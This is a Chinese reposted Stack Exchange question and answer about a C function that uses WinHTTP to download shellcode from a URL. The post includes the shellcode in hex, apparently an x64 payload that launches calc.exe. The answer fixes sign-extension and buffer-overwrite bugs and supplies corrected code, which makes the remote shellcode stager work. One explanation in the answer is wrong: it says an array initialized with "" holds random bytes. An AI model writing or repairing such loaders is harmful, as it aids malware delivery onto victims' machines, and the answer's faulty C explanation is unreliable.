使用WinHTTP下载Shellcode时数据异常:0丢失与fff填充问题求助
问题:WinHTTP下载Shellcode时出现数据篡改(0丢失、0xff填充)
问题现象
使用WinHTTP从URL下载二进制Shellcode到unsigned char数组mycode时,出现两个异常:
- 原始Shellcode中的部分0字节丢失(例如
88000000变为88000); - 输出的Shellcode中大量出现
ffffff前缀(例如fc变为fffffffc),导致Shellcode被篡改无法执行。
原始代码
Buffer WinREQ(LPCWSTR domain, LPCWSTR path) { BOOL bResults = FALSE; DWORD dwSize = 0; LPSTR pszOutBuffer; DWORD dwDownloaded = 0; unsigned char mycode[DEFAULT_BUFLEN] = ""; LPCWSTR accept[2] = { L"application/octet-stream", NULL }; HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL; // Use WinHttpOpen to obtain a session handle. hSession = WinHttpOpen(L"WinHTTP Example/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); // Specify an HTTP server. if (hSession) { hConnect = WinHttpConnect(hSession, domain, INTERNET_DEFAULT_HTTP_PORT, 0); printf("Success in WinHttpConnect\n"); } else { printf("Failed in WinHttpConnect (%u)\n", GetLastError()); } // Create an HTTP request handle. if (hConnect) { hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL, WINHTTP_NO_REFERER, accept, NULL); printf("Success in WinHttpOpenRequest\n"); } else { printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError()); } // Send a request. if (hRequest) { bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); printf("Success in WinHttpSendRequest\n"); } else { printf("Failed in WinHttpSendRequest (%u)\n", GetLastError()); } // End the request. if (bResults) { bResults = WinHttpReceiveResponse(hRequest, NULL); printf("Success in WinHttpReceiveResponse\n"); } else { printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError()); } // Keep checking for data until there is nothing left. if (bResults) { do { // Check for available data. dwSize = 0; if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError()); // Allocate space for the buffer. pszOutBuffer = malloc(dwSize + 1); if (!pszOutBuffer) { printf("Out of memory\n"); dwSize = 0; } else { // Read the Data. ZeroMemory(pszOutBuffer, dwSize + 1); if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) { printf("Error %u in WinHttpReadData.\n", GetLastError()); } else { memcpy(mycode, (LPVOID)pszOutBuffer, dwSize); } free(pszOutBuffer); } } while (dwSize > 0); } if (sizeof(mycode) == DEFAULT_BUFLEN) { printf("Success retrieving the shellcode\n"); printf("Shellcode Size : %d\n", sizeof(mycode)); } else { printf("Failed retrieving the shellcode\n"); exit; } // Report any errors. if (!bResults) printf("Error %d has occurred.\n", GetLastError()); // Close any open handles. if (hRequest) WinHttpCloseHandle(hRequest); if (hConnect) WinHttpCloseHandle(hConnect); if (hSession) WinHttpCloseHandle(hSession); size_t size = sizeof(mycode); char* PE = (char*)malloc(size); for (int i = 0; i < sizeof(mycode); i++) { PE[i] = mycode[i]; } Buffer buffer; buffer.data = PE; buffer.size = size; return buffer; }
原始Shellcode(xxd -p输出)
fc4883e4f0e8c0000000415141505251564831d265488b5260488b521848 8b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d41 01c1e2ed524151488b52208b423c4801d08b80880000004885c074674801 d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0 ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d0 66418b0c48448b401c4901d0418b04884801d0415841585e595a41584159 415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000 000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dff d54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c 632e6578652000
异常输出
fffffffc48ffffff83ffffffe4fffffff0ffffffe8ffffffc0000415141505251564831ffffffd26548ffffff8b526048ffffff8b521848ffffff8b522048ffffff8b725048fffffffb74a4a4d31ffffffc94831ffffffc0ffffffac3c617c22c2041ffffffc1ffffffc9d411ffffffc1ffffffe2ffffffed52415148ffffff8b5220ffffff8b423c481ffffffd0ffffff8bffffff80ffffff8800048ffffff85ffffffc07467481ffffffd050ffffff8b481844ffffff8b4020491ffffffd0ffffffe35648ffffffffffffffc941ffffff8b34ffffff88481ffffffd64d31ffffffc94831ffffffc0ffffffac41ffffffc1ffffffc9d411ffffffc138ffffffe075fffffff14c34c2484539ffffffd175ffffffd85844ffffff8b4024491ffffffd06641ffffff8bc4844ffffff8b401c491ffffffd041ffffff8b4ffffff88481ffffffd0415841585e595a41584159415a48ffffff83ffffffec204152ffffffffffffffe05841595a48ffffff8b12ffffffe957ffffffffffffffffffffffff5d48ffffffba1000000048ffffff8dffffff8d110041ffffffba31ffffff8b6fffffff87ffffffffffffffd5ffffffbbfffffff0ffffffb5ffffffa25641ffffffbaffffffa6ffffff95ffffffbdffffff9dffffffffffffffd548ffffff83ffffffc4283c67caffffff80fffffffbffffffe0755ffffffbb4713726f6a05941ffffff89ffffffdaffffffffffffffd563616c632e65786520
原因分析
1. 0xff前缀填充问题
- 代码中使用
LPSTR pszOutBuffer(即char*)存储二进制数据,而char在多数编译器中是有符号类型。当读取到大于0x7F的字节(如0xfc)时,会被当作负数,在打印或转换为32位整数时触发符号扩展,高位补0xff,最终显示为fffffffc。 - 后续将
mycode(unsigned char数组)拷贝到char* PE时,同样的符号扩展问题再次发生,导致输出异常。
2. 0字节丢失/数据截断问题
- 数据覆盖:每次循环执行
memcpy(mycode, pszOutBuffer, dwSize)时,都是将新下载的数据覆盖到mycode的起始位置,而非追加到已有数据之后。最终mycode中仅保留最后一次下载的片段,前面的数据全部丢失,看起来像是0字节被截断。 - 无效的判断逻辑:
if (sizeof(mycode) == DEFAULT_BUFLEN)完全无意义,因为数组的sizeof是编译时确定的固定值,永远等于DEFAULT_BUFLEN,无法反映实际下载的数据量。 - 未初始化的数组:
unsigned char mycode[DEFAULT_BUFLEN] = "";仅会将数组第一个字节初始化为0,其余字节为随机值,可能干扰后续数据。
修复方案
1. 解决符号扩展问题
将所有处理二进制数据的指针改为unsigned char*,避免有符号类型的符号扩展:
- 把
LPSTR pszOutBuffer改为unsigned char* pszOutBuffer; - 把
char* PE = (char*)malloc(size);改为unsigned char* PE = (unsigned char*)malloc(size);,同时调整Buffer结构体的data字段类型为unsigned char*(如果可以修改的话)。
2. 解决数据覆盖问题
添加一个偏移量变量,将每次下载的数据追加到mycode的当前位置:
- 声明
DWORD totalDownloaded = 0;用于记录已下载的总字节数; - 替换
memcpy(mycode, pszOutBuffer, dwSize)为memcpy(mycode + totalDownloaded, pszOutBuffer, dwDownloaded);; - 每次下载后更新偏移量:
totalDownloaded += dwDownloaded;; - 确保
totalDownloaded不超过DEFAULT_BUFLEN,避免数组越界。
3. 修正判断逻辑与初始化
- 用
totalDownloaded判断是否成功下载数据,而非sizeof(mycode); - 使用
ZeroMemory(mycode, DEFAULT_BUFLEN);初始化mycode,清除随机值; - 检查
WinHttpReadData返回的dwDownloaded是否等于请求的dwSize,处理部分读取的情况。
修改后的核心代码片段
// 初始化数组 unsigned char mycode[DEFAULT_BUFLEN]; ZeroMemory(mycode, DEFAULT_BUFLEN); DWORD totalDownloaded = 0; // 下载循环内的修改 else { // Read the Data. ZeroMemory(pszOutBuffer, dwSize + 1); if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) { printf("Error %u in WinHttpReadData.\n", GetLastError()); } else { // 检查是否会越界 if (totalDownloaded + dwDownloaded <= DEFAULT_BUFLEN) { memcpy(mycode + totalDownloaded, pszOutBuffer, dwDownloaded); totalDownloaded += dwDownloaded; } else { printf("Shellcode exceeds buffer size\n"); bResults = FALSE; break; } } free(pszOutBuffer); } // 修正成功判断 if (totalDownloaded > 0) { printf("Success retrieving the shellcode\n"); printf("Shellcode Size : %d\n", totalDownloaded); } else { printf("Failed retrieving the shellcode\n"); exit(1); // 补充exit参数 } // 拷贝数据到返回Buffer size_t size = totalDownloaded; unsigned char* PE = (unsigned char*)malloc(size); for (int i = 0; i < size; i++) { PE[i] = mycode[i]; } Buffer buffer; buffer.data = PE; buffer.size = size;
内容的提问来源于stack exchange,提问作者ProtonX
相关产品推荐
相关产品推荐

